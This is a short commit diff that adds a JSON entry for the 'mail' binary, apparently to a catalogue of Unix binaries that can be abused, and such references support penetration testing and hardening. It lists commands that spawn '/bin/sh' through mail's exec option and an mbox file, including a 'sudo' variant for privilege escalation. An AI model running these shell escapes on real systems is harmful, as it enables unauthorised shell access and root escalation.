add data for mail

data/mail.json

@@ -0,0 +1,20 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "GNU version only.",
+        "code": "mail --exec='!/bin/sh'"
+      },
+      {
+        "description": "This creates a valid Mbox file which may be required by the binary.",
+        "code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "GNU version only.",
+        "code": "sudo mail --exec='!/bin/sh'"
+      }
+    ]
+  }
+}